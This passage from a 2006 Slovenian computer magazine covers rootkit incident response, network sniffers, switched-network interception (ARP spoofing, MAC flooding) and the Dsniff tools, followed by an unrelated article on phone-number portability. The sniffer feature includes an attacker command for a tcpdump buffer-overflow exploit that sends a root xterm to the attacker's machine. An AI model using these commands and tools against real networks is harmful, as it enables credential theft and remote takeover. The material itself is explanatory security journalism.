popravek za jedro sistema, zato po namestitvi zahteva ponovno prevajanje samega jedra. OKREVANJE PO NAPADU Z ADMINISTRATORSKIM PAKETOM Najpogosteje boste v tak položaj prišli po telefonskem klicu, v katerem vas bo administrator nekega podjetja obvestil, da »vaš sistem napada njegove«. V takšnih primerih se najpogosteje pričnejo krči v želodcu, znani samo administratorjem, ki so v preteklosti že postali tarče napadov. Treba bo ugotoviti, kaj se je s sistemom dejansko zgodilo. Brez panike! Spomnite se predvsem tega, da lahko vaši nepotrebni posegi v sistem spremenijo datume dostopov do posameznih datotek. Še preden pridete v opisani položaj, si izdelajte paket orodij s statično povezanimi binarnimi datotekami, ki so kriptografsko pri- merjane z datotekami proizvajalca. Uporaba statično povezanih binarnih datotek je nujna, saj obstaja možnost, da je napadalec v vašem sistemu spremenil nekatere izmed deljenih knjižnic kompromitiranega sistema. Vedno imejte pri roki CD z najpogosteje uporabljanimi orodji kot so: ls, ps, netstat, w, finger, su, login, grep, df, sh, dd, du, sof, top, file ipd. Najvažneje je, da ohranite v povezavi z datotekami predvsem naslednje podatke: • čas zadnjega dostopa • zadnje spremembe • čas nastanka Tovrstne podatke boste pridobili z uporabo naslednjih ukazov, katerih rezultate morate shraniti na zunanji medij (CD, DVD, USB ključ, disketa …): • ls –alRu > /floppy/cas_dostopa.txt • ls –alRc > /floppy/cas_spremembe.txt • ls –alR > /floppy/cas_kreiranja.txt Zdaj lahko začnete pregledovati rezultate z medija, na katerega ste jih v prejšnjih korakih prenesli, s čimer se boste izognili nepotrebnim spremembam sumljivega sistema. Med pregledom boste najpogosteje našli klasični administratorski paket in datoteke katerega od vohljačev (snifferjev). Povedano seveda velja samo za administratorske pakete, ki ne spreminjajo jedra operacijskega sistema. Če ste postali žrtev administratorskega paketa, ki spreminja jedro, naprej razmislite o varnem mediju za zagon sistema, kot je npr. Trinux (www.trinux.org). Pomembno je predvsem to, da si, še preden postanete žrtev vdora, izdelate podroben načrt svojega odgovora na napad. Ne bodite eden tistih, ki takoj ob odkritju vdora kličejo policijo – veliko lahko namreč za zavarovanje sledov in ugotavljanje dejanskega stanja naredite tudi sami.  moj mikro | 2 | februar | 2006 IT - MOZAIK hekerske metode: zlorabe programov za varnostno testiranje omrežij Varnostne slabosti vohljačev Močno upam, da se zavedate dejstva, da podatki, poslani prek interneta, nikoli ne potujejo neposredno k naslovniku, temveč skozi vrsto vmesnih sistemov, kot so usmerjevalniki, omrežni prehodi, mostovi in požarni zidovi. Vsi ti se ukvarjajo z vašim sporočilom, delujejo pa tako, da sporočilo, ki ni namenjeno njim, posredujejo naprej. Res verjamete, da vsi omenjeni »posredniki« samo posredujejo sporočilo? Piše : Tomaž Bratuša tomaz.bratusa@mojmikro.si K rajevna omrežja (LAN), sestavljena z uporabo stikala (switch), so izjema, saj stikalo pozna MAC-naslove vseh računalnikov v omrežju in lahko podatke pošlje samo želenemu sistemu. Povsem druga zgodba pa je kadar za izgradnjo omrežja uporabimo navadna vozlišča (hub). V tem primeru namreč vsak pošiljatelj pošlje sporočilo vsem uporabnikom omrežja, pri čemer običajno odgovori samo sistem, na katerega so bili podatki naslovljeni. Tudi pri uporabi stikal (switch) administratorji pogosto ravnajo tako, da ima omrežno stikalo ena vrata konfigurirana za sprejem vseh sporočila iz omrežja, ki jih ustrezno posreduje. Kar lahko storijo administratorji, pa lahko brez težav naredijo tudi hekerji, saj je meja, ki oba ločuje bregova, izredno tanka. KAJ SO VOHLJAČI Vohljači ali prisluškovalci (sniffers) so naprave, ki lovijo omrežne komunikacije, njihova uporaba pa je namenjena analiziranju omrežnega prometa in s tem odkrivanju potencialnih pomanjkljivosti v omrežnem prometu. Ime sniffer je nastalo na podlagi istoimenskega izdelka podjetja Network General Corporation, saj je podjetje s svojim izdelkom prevladovalo na trgu analiziranja protokolov in omrežnega prometa. Kakor pri drugih izdelkih imamo tudi voh- ljačev več vrst, saj so posamezni izdelki namenjeni analiziranju različnih protokolov. Vsem je skupno to, da imajo zmožnost analiziranja vsaj naslednjih protokolov: standardni ethernet, TCP/IP, IPX in DECNet. Vohljači so vedno kombinacija strojno-programske opreme in ponavadi precej drage napravice, saj jih proizvajalci prodajajo skupaj s »posebno« računalniško opremo. Na drugi strani imamo ponovno brezplačne (freeware) izdelke. PAZITE, KDO DOSTOPA DO VAŠEGA KRAJEVNEGA OMREŽJA! Vohljači se pomembno razlikujejo od programov, ki beležijo samo pritiske tipk na tipkovnici (keylogger). Vohljači namreč zajemajo dejanski promet v omrežju, kar storijo tako, da postavijo ethernetni adapter (omrežna kartica) v »promiskuitetni« način delovanja. Za razumevanje tega načina delovanja bom najprej na kratko razložil strukturo in delovanje krajevnega omrežja (Local Area Network − LAN). Slepa pega protivirusnih programov Programov, ki beležijo pritiske tipk (keyloggers) in posnamejo zaslon žrtve večina protivirusnih programov slabo zaznava. Vzrok je v tem, da so nekateri tovrstni izdelki komercialne narave in namenjeni vohunjenju. Podrobnosti bodo razgrnjene v katerem od prihodnjih člankov. Krajevna omrežja so majhna omrežja (npr. podjetje, zgradba), v katerih je ponavadi promet speljan prek kablov (lahko tudi brezžično). Poznamo več vrst povezovalnih kablov, ki prenašajo podatke z različnimi hitrostmi in na različnih razdaljah. Podatki potujejo v majhnih enotah, imenovanih okvirji (frames), sestavljenih iz več področij, od katerih vsako nosi posebne informacije. Tako na primer prvih 12 bajtov intranetnega okvirja nosi podatke o cilju in izvoru podatkov, preostali del paketa pa nosi prave uporabnikove podatke. Za obdelavo intranetnih okvirjev skrbi v računalniku programska oprema, imenovana omrežni gonilnik (network driver). V nadaljevanju so okvirji posredovani omrežni kartici, od te pa preko kablov do ciljnega računalnika, kjer omrežna kartica ciljnega računalnika sprejme okvirje in jih posreduje operacijskemu sistemu. Če postavimo sistem v promiskuitetni način dela, bo sprejemal vse paketke in okvirje v omrežju, ne le tistih, ki so naslovljeni izključno nanj. Tako konfiguriran sistem imenujemo vohljač (sniffer). Vohljači pomenijo visoko stopnjo nevarnosti iz naslednjih razlogov: - zajemajo uporabniška imena in gesla, - zajemajo zaupne informacije, - se lahko uporabijo tudi za prodor varnostnih sistemov sosednjih omrežij. Tako kot pri drugih varnostnih orodjih dosegajo »snifferji« nekakšen kultni status, ob njihovi omembi pa navadni uporabniki dobijo predstavo nekakšne črne magije, ki jo uporabljajo zgolj hekerji, kriminalci, tajni agenti ... V resnici so vohljači samo eno od orodij za diagnosticiranje omrežnih težav in so prosto dostopni v internetu. Eden izmed razlogov zakaj vohljači niso več tako nevarni, je to, da je večina zaupnih podatkov danes šifrirana. Javne nešifrirane storitve počasi izginjajo iz interneta, pri čemer imam v mislih telnet, ki pošilja gesla in uporabniška imena v navadnem besedilu. Telnet je nadomestil SSH, ki šifrira vsak del telnetove seje. Uporabniki za prijavljanje v spletne strani vse bolj uporabljajo SSL (Secure Sockets Layer), za prenose datotek pa Secure FTP (SFTP). Če za prenose pomembnih podatkov še vedno uporabljate nešifrirano povezavo, ste si za izgubo 41 IT - MOZAIK hekerske metode: zlorabe programov za varnostno testiranje omrežij podatkov krivi sami! Kadar ste v skrbeh zaradi zlorabe vohljačev, se spomnite na naslednje: - Vohljači morajo biti nameščeni v vašem krajevnem omrežju oz. na posredni točki (kot npr. glavni usmerjevalnik) v internetu, da bi lahko pomenili nevarnost za vaše omrežje. - Z današnjimi standardi šifriranja je učinkovito prestrezanje podatkov ekstremno težavno, povsem drugače pa je, ko ne uporabljate šifriranja. Tudi omrežja, sestavljena s stikali, so napravila velik korak k zaščiti podatkov, vendar pa je v takšnih omrežjih podatke vseeno mogoče prestrezati z uporabo naprednejših orodij, kot je Dsniff, in kančkom iznajdljivosti. V pogovorih z sistemskimi administratorji v slovenskih podjetjih pogosto ugotavljam, da so prepričani, da so z uporabo stikal onemogočili prestrezanje podatkov. Poglejmo, ali je to res! Kot vidimo na sliki 3, poteka komunikacija med A in C tako, da: • A pošlje sporočilo C. • Stikalo (switch) nato pregleda sporočilo in ugotovi, kateremu sistemu v omrežju je namenjeno. Stikalo nato poveže oba sistema tako, da imata lahko »zasebno« komunikacijo. • C sprejme sporočilo, preveri, ali je sporočilo namenjeno njemu, in sporočilo procesira naprej. V gornjem primeru vidimo, da delovne postaje še vedno preverijo ciljni naslov, čeprav jim stikalo zagotavlja, da je sporočilo namenjeno izključno njim. To preverjanje je dobrodošlo, saj se omrežja nenehno spreminjajo (vstop prenosnega računalnika ipd.). Takšna konfiguracija ponuja vrsto prednosti, med drugim zmanjšanje količine prometa, saj se promet pošilja samo naslovniku in ne vsem sistemom v omrežju. Takšno okolje pomeni za napadalca oviro, a kot bomo videli v nadaljevanju, to ne pomeni, da je okolje 100-odstotno varno. METODE PRESTREZANJA PODATKOV V OMREŽJIH S STIKALI Metode, ki jih napadalci uporabljajo za prestrezanje podatkov v omrežjih s stikali, se imenujejo ARP spoofing, MAC flooding, MAC duplicating. Poglejmo si jih podrobneje. ARP spoofing Ena izmed osnovnih operacij, okrog katere se odvija protokol Ethernet, so ARP- zahteve in odgovori. Kadar hoče sistem A komunicirati s si- 42 stemom C, mu mora najprej poslati ARP-zahtevo. Sistem C nato odvrne z ARP-odgovorom, ki vključuje tudi njegov MAC-naslov. Tudi v omrežju, katerega sestavni del je stikalo. se ARPzahteva pošlje vsem sistemom v omrežju. Ravno v tem delu se pojavi priložnost, da napadalec pošlje iz sistema B ponarejen odgovor. v katerem trdi, da ima MAC-naslov sistema C. Sistem A bo nato promet naslavljal na sistem B, pri čemer bo zmotno prepričan, da komunicira s sistemom C. Da bi tovrsten napad uspel v celoti, mora imeti napadalec sposobnost posredovanja sporočil do sistema C (IP forwarding). Značilni orodji za tovrstne napade sta Dsniff in Parasite. MAC flooding Ker so stikala odgovorna za ustvarjanje virtualnih povezav med sistemi, morajo vzdrževati tabelo, ki jim omogoča sledenje povezav MACnaslovov s fizičnimi vrati na stikalu. Ker je količina pomnilnika za vzdrževanje tovrstnih tabel omejena, lahko napadalec to izkoristi tako, da stikalo zasipava z neobstoječimi MAC-naslovi. Stikalo bo zaradi nastale zmede začelo prepuščati celoten promet, kar pomeni, da bo ves promet posredovalo Slika 1 vsem sistemom v omrežju. V takšnem položaju bo deloval tudi najpreprostejši vohljač. MAC duplicating Omrežni ethernetni promet temelji na MACnaslovih, zato je za napadalca najenostavnejši napad to, da preprosto ponaredi MAC-naslov svojega sistema. To pomeni, da napadalec ponaredi MAC-naslov sistema B tako, da bo imel isti naslov, kot sistem, katerega podatke želi prestrezati. Večina uporabnikov se ne zaveda, da je ponareditev MAC-naslova zelo enostavna tako v sistemih Linux kot tudi Windows. Napad se razlikuje od napada tipa ARP spoofing, saj v tem primeru prelisičimo stikalo, medtem ko pri ARP spoofingu prelisičimo ARP-tabelo tarče. Ravno tako v tem primeru ne potrebujemo dodatnega dela s preusmerjanjem prometa do tarče, saj bo stikalo pošiljalo podatke obema sistemoma z istim MAC-naslovom. narice ZDA, IBM-a, Nase in nekaj univerz v Kanadi, Izraelu, na Tajvanu in v Belgiji. Vohljače lahko najdemo povsod v omrežju. Kljub temu pa obstajajo strateške točke, ki jih imajo napadalci najraje. Najpogosteje se vohljači namestijo v bližino sistemov, ki sprejemajo veliko gesel oz. pomenijo vrata za komunikacijo z zunanjimi omrežji. Vohljače je izredno težko odkriti, saj so pasivni programi, kar pomeni, da prekomerno ne obremenjujejo omrežnih virov. To velja samo za primere, kadar »kreker« deluje pametno in ne zajema celotnega omrežnega prometa, temveč samo nekaj začetnih bajtov vzpostavljene komunikacije. PROGRAMSKI VOHLJAČI Ethereal Ethereal sem izbral zaradi njegove enostavnosti, preglednosti in predvsem sposobnosti, ki vključujejo tudi elemente orodij, kot sta tcpdump in Windump. Program vključuje posebnosti, kot sta uporaba knjižnic pcap in s tem pregledovanje omrežnega prometa v realnem času. Odlikujeta pa ga tudi brezplačnost in prilagodljivost tako za Windows kakor tudi okolja Unix. Ethereal najdete na spletnem naslovu www. ethereal.com, ob namestitvi pa zahteva, da imate v sistemu že nameščeno knjižnico pcap, katere najnovejšo različico prav tako najdete na omenjenem naslovu. Slika 2: Grafični uporabniški vmesnik, prek katerega je mogoče spremljati omrežni promet tudi v realnem času. V zgornjem oknu izberemo paket, ki nas zanima, nakar lahko v srednjem oknu pregledu- Koristni programčki Nekaj programov in internetnih naslovov, s katerimi lahko odkrivamo vohljače v različnih operacijskih sistemih: - Snifftest: www.unitedcouncil.org , - Nitwit: www.7thsphere.com , - Promisc: http://geek-girl.com. Zelo znan napad z uporabo vohljača je bil napad na Rahul.net, kjer je bil vohljač v igri samo 18 ur. V tem času je bilo zaznanih nekaj sto vdorov v sisteme, vključno s sistemi mor- Slika 3: Etherealov grafični uporabniški vmesnik v veliki meri olajša ustvarjanje in shranjevanje filtrov. moj mikro | 2 | februar | 2006 IT - MOZAIK hekerske metode: zlorabe programov za varnostno testiranje omrežij jemo podrobne informacije o vsakem zaglavju paketa, vključno s TCP-jem, IP-jem in ethernetom. Spodnji okvir uporabniškega vmesnika vsebuje heksa in ASCII informacije ki potujejo v paketu. Če uporabnik uporablja FTP, HTTP (spletna pošta ipd.), telnet ali POP3 obstaja velika verjetnost, da boste našli tudi uporabniška imena in gesla za dostop do storitev. Dobra lastnost Ethereala je tudi to, da vključuje kar nekaj dodatnih programov, ki omogočajo učinkovito grafično prikazovanje statistike in hkrati omogočajo popolnoma samodejno dekodiranje številnih protokolov. Esniff Najdete ga na naslovu www.chaotic.com ali www.rootshell.com. Esniff je standardni vohljač, namenjen okolju Unix, njegovo stvaritev pa je prvi predstavil internetni hekerski časopis Phrack (www.phrack.com). Gobbler To je izvrstno orodje, če se nameravamo o vohljačih naučiti kaj več. Narejen je za okolje DOS in Windows, treba pa je poudariti, da aplikacija ni preveč uporabniku prijazna, zato si je za razumevanje delovanja treba vzeti čas. Gobbler lahko uporabljamo lokalno ali pa prek omrežja, v njem pa so vključene tudi funkcije za filtriranje točno določenih paketov oz. informacij. Dsniff Dsniff je prav gotovo legenda na tem področju. To je zbirka brezplačnih orodij, namenjena varnostnemu testiranju omrežij. Kot smo videli doslej, pa se tovrstna orodja lahko uporabijo tudi v zle namene, kot sta vohljanje in ugrabljanje sej. Dsniff je dostopen na spletnem naslovu www.monkey.org/$tdugsong/dsniff/ in je namenjen samo operacijskim sistemom Unix. Njegova namestitev je običajna za Unix: configure, make, make install. Arpspoof je orodje v sklopu Dsniffa, ki nam omogoča ponarejanje ARP-odgovorov. Spomnite se, da je protokol ARP tisti, ki preslikuje IP-naslove in lokalne MAC-naslove. ARP-zahteve so poslane vsem sistemom v krajevnem omrežju v slogu »Živjo, katera od vaših omrežnih kartic ima IP-naslov 192.168.1.100?« Napadalec, ki uporablja Arpspoof, bo na takšno zahtevo odgovoril pritrdilno in vohljanje se lahko prične. Uporaba Arpspoofa je omejena na ukazno vrstico, pri čemer se sintaksa glasi: arpspoof IP_naslov_tarče Najbolj priljubljena tarča v LAN-u je prav gotovo glavni usmerjevalnik, saj gre preko njega celoten omrežni promet. Dnsspoof deluje podobno kot Arpspoof, pri čemer dovoljuje, da ponaredite DNS- odgovore za DNS-strežnike v krajevnem omrežju. Ker se DNS zanaša na UDP (User Datagram Protocol), ki je nepovezovalni protokol, bo DNS-odjemalec poslal zahtevo in nato pričakoval odgovor. Orodje Dnsspoof bo enostavno ponaredilo odgovor in poskušalo prehiteti pravi DNS-strežnik. Dsniff je torej napreden vohljač, ki prepo- znava več vrst različnih protokolov, med njimi: telnet, FTP, SMTP, POP, IMAP, HTTP, CVS, Citrix, SMB, Oracle in še nekatere druge manj razširjene. Ethereal je vsekakor odlično orodje za zajemanje omrežnega prometa, Dsniff pa je uporaben za točno določeno nalogo. Dsniffova naloga je namreč samo učinkovito pridobivanje uporabniških imen in gesel. Druga Dsniffova orodja so: • Macof povzroči poplavo neobstoječih MAC-naslovov in s tem prisili omrežno stikalo v oddajanje prometa na vse naslove v omrežju. • Mailsnarf pridobiva gesla iz protokolov elektronske pošte, kot sta SMTP in POP. • Msgsnarf zbira informacije iz priljubljenih programov, kot so: IRC, ICQ, MSN, Yahoo… • Sshmitm je eno neprijetnejših orodij, saj omogoča prestrezanje šifriranega SSHprometa. • Tcpkill poskuša prekiniti TCP-povezavo z vmešavanjem v promet v omrežju in pošiljanjem RST-bitov. • Webmitm je orodje za HTTPS in omogoča vrinjenje ponarejenega certifikata ter napad tipa »man-in-the-middle« (več o tem napadu kdaj drugič). • Webspy je orodje, ki omogoča prestrezanje spletnega prometa določenega sistema v krajevnem omrežju pri čemer se poveže z brskalnikom Netscape. To nam omogoča, da spremljamo določenega uporabnika in v svojem brskalniku opazujemo spletne strani, ki jih tarča trenutno obiskuje. Kot ste videli, sem vam v tem članku predstavil nekatera izredno nevarna orodja, ki napadalcem omogočajo celo prestrezanje šifriranega prometa. Edina pomanjkljivost tovrstnih orodij je, da so uporabna samo v krajevnih omrežjih. Še en razlog več torej, da se dobro prepričate, katerim uporabnikom dovoljujete dostop v svoje krajevno omrežje. Kot povzetek bi poudaril, da je vohljače mogoče učinkovito onemogočati predvsem z varno topografijo omrežja, vključujoč stikala, usmerjevalnike in mostove, zlasti pa je pomembno šifriranje podatkov, ki vsiljivcu v veliki meri zmanjša možnosti za uspeh. Seveda pa absolutne varnosti tudi na tem področju informacijske tehnologije ni. NAPADI NA LEGITIMNE OMREŽNE PRISLUŠKOVALCE Kot smo omenili, so vohljači programi za prisluškovanje omrežnega prometa, ki znajo zagreniti življenje vsem tistim ki ne uporabljajo šifriranih povezav, kot je npr. SSL, TLS, SSH ipd. Tovrstnih programov pa ne uporabljajo samo hekerji, temveč tudi sistemski administratorji, saj jim omogočajo nadzor prometa, ki se odvija v njihovem delu omrežja, s tem pa jim olajšajo odpravljanje težav v delovanju omrežja. Čeprav so lahko tovrstni programi tudi koristni imajo vsi po vrsti veliko pomanjkljivost: izvajati jih je mogoče samo z administratorskimi privilegiji. Ker pa tudi tovrstni programi niso popolnoma brez varnostnih pomanjkljivosti, lahko za napadalca pomenijo izvrstno edinstveno priložnost. Če jim uspe dostaviti ustrezno zlonamerno programsko kodo, seveda. Napad na vohljača, ki prisluškuje celotnemu omrežnemu prometu, je mogoč tudi v primeru, ko so v sistemu izključeni vsi priključki TCP/ UDP. V sistem Unix, na katerem se izvršuje program za prisluškovanje omrežju, lahko napadalec vdre prek varnostne pomanjkljivosti programa tudi v primeru, ko so v sistemu vse storitve TCP/UDP izključene. Eden izmed primerov zlorabe tovrstne pomanjkljivosti je pomanjkljivost programa tcpdump v različici 3.5.2. Izkoriščevalska koda, ki jo najdete v spletu, ustvari paket, ki ga tcpdump analizira in napadalcu omogoči izvršitev poljubne kode na ravni administratorja. Izkoriščevalsko kodo (exploit) med drugim najdete na http://ccc.de. Poglejmo, kako pride do takšnega napada. Najprej mora biti izpolnjen pogoj, pod katerim tcpdump teče z vklopljenim stikalom –s, ki določa število bajtov za prestrezanje v vsakem paketu. V našem primeru bomo uporabili 500, kar je dovolj za zlorabo prekoračitve medpomnilnika (buffer overflow). [zrtev]# tcpdump -s 500 Naj vas opomnim, da tcpdump privzeto prisluškuje 68 bajtov vsakega paketa, kar za izvedbo tovrstnega napada ne zadostuje. Napad, ki ga bomo pogledali, dostavi napadalcu xterm, zato moramo poleg IP-naslova žrtve 192.168.1.200 uporabiti tudi IP-naslov napadalčevega računalnika 192.168.1.50. Na koncu vpišemo še številko 100, ki pomeni vrednost pomnilniškega razmaka in izzove preplavljanje medpomnilnika (na drugih sistemih je ta številka različna). [heker]# tcpdump-xploit 192.168.1.200 192.168.1.50 100 Kot po čudežu nas pričaka xterm z administratorskimi pooblastili. Če je napadeni sistem hkrati tudi sistem za nadzor omrežja, bi bile posledice naravnost pogubne. ZAŠČITA Vsekakor vam priporočam, da tudi v tem primeru vedno uporabljate najnovejšo različico orodja za prisluškovanje omrežju. V sistemih, ki so namenjeni izključno nadziranju omrežnega prometa in odkrivanju napadov, je eden izmed prijemov tudi konfiguriranje omrežne kartice v tako imenovani nevidni način (stealth mode). Sistem deluje v nevidnem načinu, kadar omrežna kartica prisluškuje celotnemu prometu, vendar nima IP-naslova. Takšni nevidni sistemi imajo pogosto nameščeno drugo omrežno kartico, ki deluje na drugem segmentu omrežja in je namenjena samo upravljanju omrežja.  43 IT - MOZAIK rešitve v slovenski informatiki: sistem podjetij Avtenta.si in Teletech za podporo prenosljivosti telefonskih številk Prenosljivost številk kot plod domačega znanja O prenosljivosti telefonskih številk je bilo konec lanskega leta veliko govora, bližal se je namreč datum, ko so morali mobilni operaterji svojim uporabnikom zagotoviti prenos telefonske številke od enega operaterja k drugemu. Za uspešnost projekta sta poskrbeli družbi Avtenta.si in Teletech. Piše : Tomaž Lukman tomaz.lukman@mojmikro.si P renosljivost številk je eden od načinov zagotavljanja konkurenčnosti na trgu telekomunikacij, so zapisali v direktivi Evropske komisije in s tem svojim članicam naložili uvedbo te storitve. Zahtevo, ki je zapisana tudi v 71. členu Zakona o telekomunikacijah, je Agencija za pošto in elektronske komunikacije uveljavila s splošnim aktom o prenosljivosti številk. Ta določa tudi vse podrobnosti izvajanja prenosljivosti, ki je morala biti v mobilni telefoniji na voljo s 1. januarjem 2006, fiksni operaterji pa jo bodo uvedli do 30. junija letos. Prenosljivost številke za končnega uporabnika pomeni eno skrb manj pri zamenjavi operaterja, saj lahko odslej obdrži svojo telefonsko številko skupaj z omrežno številko ali kodo operaterja. Za samega naročnika oziroma predplačnika je postopek prenosa številke sila enostaven, saj mu ni treba storiti nič, le pri izbranem operaterju naročiti prenos številke. Vse drugo opravita novi in stari operater med sabo, v postopku pa sodeluje še en pomemben igralec – upravljavec centralne zbirke podatkov (CBP). Upravljavca CBP je na razpisu izbralo devet operaterjev. Najboljša se jim je zdela skupna rešitev podjetij Avtenta.si, d.o.o., in Teletech, d.o.o. Če prvega ni treba posebej predstavljati, saj gre za eno večjih slovenskih informacijskih podjetij, pa je Teletech razmeroma mlado in še neuveljavljeno mariborsko podjetje. Njihovi temeljni dejavnosti sta strateško svetovanje in najemni menedžment, v svojem poslanstvu pa so se zavezali razvoju lastnih sistemskih rešitev, izdelkov in storitev. Iz njihovih referenc je razvidno, da so najdejavnejši prav na področju telekomunikacij. OSNOVNE ZNAČILNOSTI PRENOSLJIVOSTI Za lažje razumevanje procesov je treba pojasniti nekaj pojmov. Dajalec številke ali donor je operater, ki zagotavlja javno dostopne telefonske storitve uporabniku pred preno- 44 som številke. Prejemnik številke ali recipient je operater, ki zagotavlja telefonske storitve uporabniku prenesene številke. Upravljavec CBP je fizična ali pravna oseba, ki na podlagi pravnega posla z operaterji upravlja s centralno zbirko podatkov. Vsa komunikacija med operaterji poteka prek centralne zbirke podatkov, ki spremlja in nadzoruje transakcije ter operaterjem posreduje podatke o prenesenih številkah. Časovni roki, ki jih predvideva splošni akt, so zelo strogi in zahtevajo visoko zanesljivost celotnega postopka. Prenos številk poteka v dveh fazah. V prvi fazi uporabnik, ki želi prenesti svojo številko, pri operaterju prejemniku številke poda zahtevo po prenosu. Operater nato prek CBP posreduje operaterju dajalcu zahtevo po prenosu. Slednji mora v največ 15 minutah posredovati možnost prenosa. Če je ta mogoč in če ga uporabnik potrdi, postopek steče, preklicati pa ga ni več mogoče. Ko prejemnik dajalcu potrdi prenos, steče druga faza postopka. Dajalec mora sporočiti, kdaj bo uporabnikova številka deaktivirana (največ 7 dni pri mobilnih, največ 15 dni pri fiksnih operaterjih), prejemnik oziroma novi operater pa o tem obvesti uporabnika. Na dan aktiviranja številke pri prejemniku, ki se mora zgoditi med polnočjo in šesto uro zjutraj, traja pa lahko največ tri ure, CBP ločeno posreduje podatke o preneseni številki vsem operaterjem. Ti imajo vzpostavljeno svojo lokalno zbirko prenesenih številk (LBPŠ), kamor se zapisujejo vsi podatki o prenesenih številkah v Sloveniji in rabi za usmerjanje klicev na prenesene številke. Kot referenčna podatkovna zbirka ostaja CBP. moj mikro | 2 | februar | 2006 IT - MOZAIK KLICANJE PRENESENE ŠTEVILKE si in tako pridobila večinsko podporo operaterjev. Na pobudo treh mobilnih operaterjev so z uporabo spletnih storitev razvili vmesnik SOAP (enostavni protokol za dostop do objektov). Izvirna tehnična rešitev vključuje mesečno statistiko za operaterje in APEK. Posamezne podatkovne zbirke se sinhronizirajo s pomočjo protokola LDAP (enostaven protokol za dostop do imenika), ki zagotavlja zanesljivost prenosa podatkov med prejemniki, centralno zbirko in dajalci. Vmesnik prav tako skrbi za sporočanje prenesenih številk v lokalne zbirke prenesenih številk posameznih operaterjev. Operaterji imajo na voljo spletno aplikacijo za administrativno podporo procesom prenosa, prav tako pa jim je na voljo programski vmesnik API za lasten razvoj aplikacij za avtomatizacijo internih procesov. Klic na preneseno številko poteka različno, glede na to, ali gre za preneseno mobilno ali fiksno številko. Splošni akt imenuje ti dve metodi »All call query« in »Query on release«. Mobilni operaterji uporabljajo prvo metodo usmerjanja klicev, pri kateri izvorno omrežje pred vzpostavitvijo vsakega klica v svoji LBPŠ preveri, ali je klicana številka prenesena. Če gre za preneseno številko, izvorno omrežje na osnovi številke za usmerjanje, pridobljene v LBPŠ, vzpostavi klic v omrežje, v katerem je prenesena številka. Če številka ni prenesena, izvorno omrežje vzpostavi klic neposredno z omrežjem klicane številke. Pri metodi »Query on release« pa izvorno omrežje pred vzpostavitvijo klica pošlje zahtevo za vzpostavitev  Operaterji so za podporo prenosljivosti številk dobili celovito rešitev s strojno in programsko opremo, s klicnim centrom za podporo, vzdrževanjem in razvojem sprememb v aplikacijah. Ne glede na dejstvo, da se prek CBP ne izmenjujejo ključni uporabniški podatki niti dokumentacija, je Teletech organiziral več srečanj z operaterji, na katerih so se dogovorili o skupnih stičnih točkah. Tako so določili tudi za način izmenjave dokumentov in videz formularjev, ki jih uporabniki izpolnjujejo, ko zahtevajo prenos številke. Vpletenost Teletecha v celoten proces izvedbe prenosljivosti, ne samo v tehnično rešitev, je pripomogla k uspešni uvedbi storitve v zelo kratkem času. Prenosljivost je za končne uporabnike enostavna, za operaterje pa učinkovita in se od začetka leta uspešno izvaja pri vseh operaterjih mobilne telefonije z izjemo Vege. SPROTNO IZPOPOLNJEVANJE klica proti komunikacijskemu omrežju operaterju, ki mu je bila številka dodeljena. Če to omrežje sprejme zahtevo za vzpostavitev klica na številko, ki je bila prenesena v drugo komunikacijsko omrežje, zahtevo za vzpostavitev klica zavrne. Po sprejemu signalizacijskega sporočila izvorno omrežje v lastni zbirki prenesenih številk preveri številko za usmerjanje in vzpostavi klic neposredno v omrežje, v katero je prenesena številka. IZVIRNA IN CELOVITA TEHNIČNA REŠITEV Teletech je v procesu nastajanja okolja za uvedbo prenosljivosti številk pripravljal ogrodje programske osnove že pol leta pred prvo uradno predstavitvijo modela. Glavna smer, ki so jo zagovarjali, je bila prijaznost do uporabnikov, torej na eni strani do poslovnih partnerjev – operaterjev, na druga strani pa do končnih uporabnikov telefonije. To so lahko zagotovili samo z vzpostavitvijo centralne zbirke podatkov kot središčne in referenčne točke, ki nadzira vse faze procesov prenosa številk. Referenčno točko so poimenovali »Clearing house«. Operaterjem so ponudili celovito rešitev s strojno in programsko opremo, s klicnim centrom za podporo, vzdrževanjem in razvojem sprememb v aplikacijah. Rešitev je s strokovnim znanjem in izkušnjami obogatila Avtenta. Sistem je vzpostavljen tako, da omogoča naknadne spremembe. Vsakdanja raba je privedla do spoznanj, da bi se nekatere podrobnosti dalo izpeljati bolje. Če sprememba aplikacije ne bi vplivala na zakonske in podzakonske akte, jo lahko upravljavec CBP z razvijalci dopolni. Če je ob tem nujna sprememba podzakonskih aktov, pa se APEK-u posreduje pobuda za dopolnitev ali spremembo splošnega akta. Nekaj takšnih sprememb je tudi že v postopku. Pri Teletechu se po uspešni izvedbi prenosljivosti številk med mobilnimi operaterji ukvarjajo z manjšimi izboljšavami procesa in določajo vmesnike za izvedbo prenosljivosti številk za fiksne operaterje, ki mora biti omogočena do konca junija 2006.  45 PODROBNEJE O... videokamere BODI VIDEO! V poplavi novih formatov zapisa videa in medijev se zdi analogna doba kot mirno morje, čeprav je na njem divjala vojna dveh velikih taborov. Marsikdo ima doma še spominek iz te dobe, VHS-videorekorder, ki se kljub poplavi DVD/DivX-predvajalnikov še kar nekako drži nad vodo. Drugače je pri videokamerah, saj se je tu analogna doba že pred nekaj leti nepreklicno končala. Piše : Alan Orlič Belšak alan.orlic@mojmikro.si Z ačuda so bili proizvajalci glede formata enotni, izjema je bil le Sony, a tudi on se je nazadnje vdal. Digitalni video oziroma DV je prinesel uporabnikom veliko več svobode in predvsem kakovostnega zapisa videa, ki se je zelo približal profesionalnim formatom. Najpomembnejše je seveda enostaven prenos v osebni računalnik, saj je zapis že v digitalni obliki. Vmesnik FireWire, ki ga ima danes skoraj vsak računalnik že vdelan na matični plošči omogoča prenos videa, in čeprav je bil na začetku namenjen predvsem videu, se ga danes uporablja še za druge namene, predvsem priklop zunanjih diskov. Obdobje miru, ki ga je začel format DV, se počasi končuje, ne le zaradi prihoda videa visoke ločljivosti, ampak predvsem zaradi novih nosilcev podatkov, ki trak počasi, a vztrajno izrinjajo na obrobje. SHRANJEVANJE Za začetek poglejmo, kateri so ti novi nosilci. V prvi vrsti je to trdi disk, sledi mu mini DVD in kot zadnja pomnilniška kartica. Formati zapisa so si na vseh treh nosilcih različni, predvsem zaradi kapacitete teh medijev. Med- 46 tem ko si na trde diske lahko dovolimo zapis v DV-kakovosti, si slednjega pri mini DVD-ju ali pomnilniški kartici veliko težje. Ena ura zapisa videa v tem formatu namreč zasede okoli 13,5 GB, kar je za ta dva medija pravo razkošje. Zaradi tega so proizvajalci posegli po drugih formatih, na mini DVD-ju najdemo MPEG 2, na pomnilniških karticah pa največkrat MPEG-4. Slednjega poznamo predvsem po različicah DivX in podobnih, saj je moč video v 